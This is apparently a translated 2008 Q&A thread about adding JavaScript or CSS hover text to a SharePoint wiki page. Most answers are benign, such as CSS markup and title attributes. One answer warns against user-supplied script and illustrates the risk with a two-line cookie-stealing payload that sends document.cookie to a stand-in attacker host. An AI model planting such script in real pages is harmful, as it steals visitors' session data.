2008-09-17 75 views
5

作为维基管理员,我怎样才能将脚本(Javascript)输入Sharepoint wiki页面?

我想输入一个标题,点击它时,在它下面显示一个小的解释。我通常使用JavaScript,任何其他想法做到这一点?如何在wiki页面输入Javascript?

+1

你是维基网站管理员还是其他用户。 – sblundy 2008-09-17 21:15:36

+0

这改变了一切。请更新您的问题并加入您的wiki平台。 – sblundy 2008-09-17 21:21:51

回答

4

假设您是wiki的管理员,并且愿意在鼠标悬停而不是点击上显示此内容,则根本不需要JavaScript - 您可以使用直接CSS。这里的的风格和标记的例子:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

对于一些更复杂的风格,你的工具提示框,可以看起来不错,只要你愿意。

0

您应该无法为任何公开wiki添加JavaScript代码。如果您自己托管它,那么您需要请求一个特定的wiki系统,以便有人可以帮助您修改设置 - 如果可能的话对于该系统。

0

如果你在谈论使用Javascript在该网站网页的一部分,你不能。或者任何其他公开的wiki - 这是一个安全风险。

如果你在谈论张贴代码示例,请点击文本框上方的“101010”按钮。

0

这当然取决于您正在与之交谈的wiki引擎。正如sblundy所说,尽管如此,最有可能在wiki页面上允许免费使用javascript的安全风险。

1

它完全取决于您使用的特定Wiki软件。我见过的工作方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标签。

如果他们不允许,也许他们允许,你可以设置为一个包含脚本的网页的IFRAME。使用第二种技术,您将不被允许访问主机页面的DOM。

0

添加title="text here"任何标签,并在其上悬停时,它应显示文本。
当您使用alt="text here"属性时,Internet Explorer将显示文本,尽管这不符合标准。

我现在测试,你可以添加<h2 title="some explanation here">headline</h2>基于维基的任何系统(在一个维基百科使用)。

9

如果维基作者是明智的,有可能是没有办法做到这一点。

用户提供的JavaScript的问题在于,它为所有形式的邪恶者打开了从毫无防备的数据中获取数据的大门。

让我们假设邪恶 - 我张贴的脚本在公共网站:

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

现在我将收到每个访问者的页面的cookie信息,贴到我的服务器上的日志。这只是冰山一角。

1

我喜欢CSS答案。当你可以使用CSS而不是Javascript时,它会产生更简单的标记。
另一个需要研究的问题是Codeplex上的SharePoint增强版Wiki社区工具包。您可以下载源代码并添加自己的功能。或者您可以将其作为论坛中的一项新功能。

相关问题